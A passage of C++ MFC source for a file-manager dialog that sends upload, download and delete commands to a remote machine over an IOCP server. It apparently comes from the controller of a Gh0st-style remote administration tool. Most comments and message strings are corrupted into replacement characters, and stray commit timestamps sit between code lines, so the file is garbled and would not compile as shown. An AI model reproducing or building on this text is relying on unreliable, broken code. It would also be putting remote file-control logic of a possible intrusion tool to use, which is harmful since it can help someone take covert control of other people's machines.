// <20><><EFBFBD><EFBFBD>Drag<61>ģ<EFBFBD><C4A3>ҵ<EFBFBD>Drop<6F><70><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>ļ<EFBFBD><C4BC><EFBFBD>
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
m_Remote_Upload_Job.RemoveAll();
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
if (m_list_local.GetItemData(nItem))
{
file += '\\';
FixedUploadDirectory(file.GetBuffer(0));
}
else
{
// <20><><EFBFBD>ӵ<EFBFBD><D3B5>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȥ
m_Remote_Upload_Job.AddTail(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
if (m_Remote_Upload_Job.IsEmpty())
{
::MessageBox(m_hWnd, "<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_OK|MB_ICONWARNING);
return;
}
EnableControl(FALSE);
SendUploadJob();
}
//////////////// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ////////////////
// ֻ<>ܷ<EFBFBD><DCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5>ļ<EFBFBD>
// һ<><D2BB>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>صڶ<D8B5><DAB6><EFBFBD><EFBFBD>ļ<EFBFBD> ...
void CFileManagerDlg::OnRemoteCopy()
{
m_bIsUpload = false;
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
2021-03-14 12:15:53 +08:00
EnableControl(TRUE);
// TODO: Add your command handler code here
// <20><><EFBFBD><EFBFBD>Drag<61>ģ<EFBFBD><C4A3>ҵ<EFBFBD>Drop<6F><70><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>ļ<EFBFBD><C4BC><EFBFBD>
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
m_Remote_Download_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
if (m_list_remote.GetItemData(nItem))
file += '\\';
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ȥ
m_Remote_Download_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendDownloadJob();
}
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CFileManagerDlg::SendDownloadJob()
{
if (m_Remote_Download_Job.IsEmpty())
return FALSE;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CString file = m_Remote_Download_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
bPacket[0] = COMMAND_DOWN_FILES;
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
m_Remote_Download_Job.RemoveHead();
return TRUE;
}
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
BOOL CFileManagerDlg::SendUploadJob()
{
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Remote_Path;
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>Ҳ<EFBFBD><D2B2>ѡ<EFBFBD>񣬵<EFBFBD><F1A3ACB5><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
int nItem = m_list_remote.GetSelectionMark();
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1)
{
strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}
if (!m_hCopyDestFolder.IsEmpty())
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_strOperatingFile = m_Remote_Upload_Job.GetHead();
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
HANDLE hFile;
CString fileRemote = m_strOperatingFile; // Զ<><D4B6><EFBFBD>ļ<EFBFBD>
// <20>õ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><E6B5BD>Զ<EFBFBD>̵<EFBFBD><CCB5>ļ<EFBFBD>·<EFBFBD><C2B7>
fileRemote.Replace(m_Local_Path, strDestDirectory);
m_strUploadRemoteFile = fileRemote;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
2019-01-13 13:36:00 +08:00
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
CloseHandle(hFile);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = fileRemote.GetLength() + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = COMMAND_FILE_SIZE;
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
m_Remote_Upload_Job.RemoveHead();
return TRUE;
}
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CFileManagerDlg::SendDeleteJob()
{
if (m_Remote_Delete_Job.IsEmpty())
return FALSE;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CString file = m_Remote_Delete_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (file.GetAt(file.GetLength() - 1) == '\\')
{
2019-01-13 13:36:00 +08:00
ShowMessage("Զ<EFBFBD>̣<EFBFBD>ɾ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", file);
bPacket[0] = COMMAND_DELETE_DIRECTORY;
}
else
{
ShowMessage("Զ<EFBFBD>̣<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> %s <20><><EFBFBD><EFBFBD>", file);
bPacket[0] = COMMAND_DELETE_FILE;
}
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
m_Remote_Delete_Job.RemoveHead();
return TRUE;
}
void CFileManagerDlg::CreateLocalRecvFile()
{
// <20><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD>
m_nCounter = 0;
CString strDestDirectory = m_Local_Path;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2>ѡ<EFBFBD>񣬵<EFBFBD><F1A3ACB5><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
int nItem = m_list_local.GetSelectionMark();
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (nItem != -1 && m_list_local.GetItemData(nItem) == 1)
{
strDestDirectory += m_list_local.GetItemText(nItem, 0) + "\\";
}
if (!m_hCopyDestFolder.IsEmpty())
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwSizeHigh = pFileSize->dwSizeHigh;
DWORD dwSizeLow = pFileSize->dwSizeLow;
2019-01-13 13:36:00 +08:00
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9);
m_strReceiveLocalFile = m_strOperatingFile;
// <20>õ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ص<EFBFBD><D8B5>ļ<EFBFBD>·<EFBFBD><C2B7>
m_strReceiveLocalFile.Replace(m_Remote_Path, strDestDirectory);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0));
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
CFileTransferModeDlg dlg(this);
dlg.m_strFileName = m_strReceiveLocalFile;
switch (dlg.DoModal())
{
case IDC_OVERWRITE:
m_nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_ADDITION:
m_nTransferMode = TRANSFER_MODE_ADDITION;
break;
case IDC_ADDITION_ALL:
m_nTransferMode = TRANSFER_MODE_ADDITION_ALL;
break;
case IDC_JUMP:
m_nTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_nTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDC_CANCEL:
m_nTransferMode = TRANSFER_MODE_CANCEL;
break;
}
}
if (m_nTransferMode == TRANSFER_MODE_CANCEL)
{
// ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bIsStop = true;
SendStop();
return;
}
int nTransferMode;
switch (m_nTransferMode)
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = COMMAND_CONTINUE;
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
if (hFind != INVALID_HANDLE_VALUE)
{
// <20><>ʾ<EFBFBD><CABE>ʲô
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nTransferMode == TRANSFER_MODE_ADDITION)
{
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
// <20><><EFBFBD>յij<D5B5><C4B3>ȵ<EFBFBD><C8B5><EFBFBD>
2019-01-13 13:36:00 +08:00
m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+long long(1));
m_nCounter += FindFileData.nFileSizeLow;
dwCreationDisposition = OPEN_EXISTING;
}
// <20><><EFBFBD><EFBFBD>
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ƶ<EFBFBD>-1
else if (nTransferMode == TRANSFER_MODE_JUMP)
{
m_ProgressCtrl->SetPos(100);
DWORD dwOffset = -1;
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL,
0
);
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (hFile == INVALID_HANDLE_VALUE)
{
m_nOperatingFileLength = 0;
m_nCounter = 0;
::MessageBox(m_hWnd, m_strReceiveLocalFile + " <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_OK|MB_ICONWARNING);
return;
}
CloseHandle(hFile);
ShowProgress();
if (m_bIsStop)
SendStop();
else
{
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
}
// д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
void CFileManagerDlg::WriteLocalRecvFile()
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
FILESIZE *pFileSize;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>, <20><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0, i = 0;
2019-01-18 17:37:15 +08:00
for (; i < MAX_WRITE_RETRY; ++i)
{
// д<><D0B4><EFBFBD>ļ<EFBFBD>
nRet = WriteFile
(
hFile,
pData,
dwBytesToWrite,
&dwBytesWrite,
NULL
);
if (nRet > 0)
{
break;
}
}
if (i == MAX_WRITE_RETRY && nRet <= 0)
{
::MessageBox(m_hWnd, m_strReceiveLocalFile + " <20>ļ<EFBFBD>д<EFBFBD><D0B4>ʧ<EFBFBD><CAA7>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_OK|MB_ICONWARNING);
}
CloseHandle(hFile);
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nCounter += dwBytesWrite;
ShowProgress();
if (m_bIsStop)
SendStop();
else
{
BYTE bToken[9];
bToken[0] = COMMAND_CONTINUE;
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
}
void CFileManagerDlg::EndLocalRecvFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Download_Job.IsEmpty() || m_bIsStop)
{
m_Remote_Download_Job.RemoveAll();
m_bIsStop = false;
// <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
m_nTransferMode = TRANSFER_MODE_NORMAL;
EnableControl(TRUE);
FixedLocalFileList(".");
2019-01-13 13:36:00 +08:00
ShowMessage("<EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Local_Path);
}
else
{
// <20>ҿ<EFBFBD><D2BF><EFBFBD><EFBFBD><EFBFBD>sleep<65>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ݻ<EFBFBD>ûsend<6E><64>ȥ
Sleep(5);
SendDownloadJob();
}
return;
}
void CFileManagerDlg::EndLocalUploadFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop)
{
m_Remote_Upload_Job.RemoveAll();
m_bIsStop = false;
EnableControl(TRUE);
GetRemoteFileList(".");
2019-01-13 13:36:00 +08:00
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path);
}
else
{
// <20>ҿ<EFBFBD><D2BF><EFBFBD><EFBFBD><EFBFBD>sleep<65>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ݻ<EFBFBD>ûsend<6E><64>ȥ
Sleep(5);
SendUploadJob();
}
return;
}
void CFileManagerDlg::EndRemoteDeleteFile()
{
if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop)
{
m_bIsStop = false;
EnableControl(TRUE);
GetRemoteFileList(".");
2019-01-13 13:36:00 +08:00
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path);
}
else
{
// <20>ҿ<EFBFBD><D2BF><EFBFBD><EFBFBD><EFBFBD>sleep<65>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ݻ<EFBFBD>ûsend<6E><64>ȥ
Sleep(5);
SendDeleteJob();
}
return;
}
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CFileManagerDlg::SendStop()
{
BYTE bBuff = COMMAND_STOP;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CFileManagerDlg::ShowProgress()
{
char *lpDirection = NULL;
if (m_bIsUpload)
lpDirection = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
else
lpDirection = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
if ((int)m_nCounter == -1)
{
m_nCounter = m_nOperatingFileLength;
}
int progress = (float)(m_nCounter * 100) / m_nOperatingFileLength;
ShowMessage("%s %s %dKB (%d%%)", lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress);
m_ProgressCtrl->SetPos(progress);
if (m_nCounter == m_nOperatingFileLength)
{
m_nCounter = m_nOperatingFileLength = 0;
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
}
}
void CFileManagerDlg::OnLocalDelete()
{
m_bIsUpload = true;
CString str;
if (m_list_local.GetSelectedCount() > 1)
str.Format("ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d <20><>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", m_list_local.GetSelectedCount());
else
{
CString file = m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
if (m_list_local.GetItemData(m_list_local.GetSelectionMark()) == 1)
str.Format("ȷʵҪɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>С<EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", file);
else
str.Format("ȷʵҪ<EFBFBD>ѡ<EFBFBD>%s<><73>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", file);
}
if (::MessageBox(m_hWnd, str, "ȷ<EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
EnableControl(FALSE);
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
if (m_list_local.GetItemData(nItem))
{
file += '\\';
DeleteDirectory(file);
}
else
{
DeleteFile(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EnableControl(TRUE);
FixedLocalFileList(".");
}
void CFileManagerDlg::OnRemoteDelete()
{
m_bIsUpload = false;
// TODO: Add your command handler code here
CString str;
if (m_list_remote.GetSelectedCount() > 1)
str.Format("ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d <20><>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", m_list_remote.GetSelectedCount());
else
{
CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1)
str.Format("ȷʵҪɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>С<EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", file);
else
str.Format("ȷʵҪ<EFBFBD>ѡ<EFBFBD>%s<><73>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>?", file);
}
if (::MessageBox(m_hWnd, str, "ȷ<EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
m_Remote_Delete_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
if (m_list_remote.GetItemData(nItem))
file += '\\';
m_Remote_Delete_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
EnableControl(FALSE);
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendDeleteJob();
}
void CFileManagerDlg::OnRemoteStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
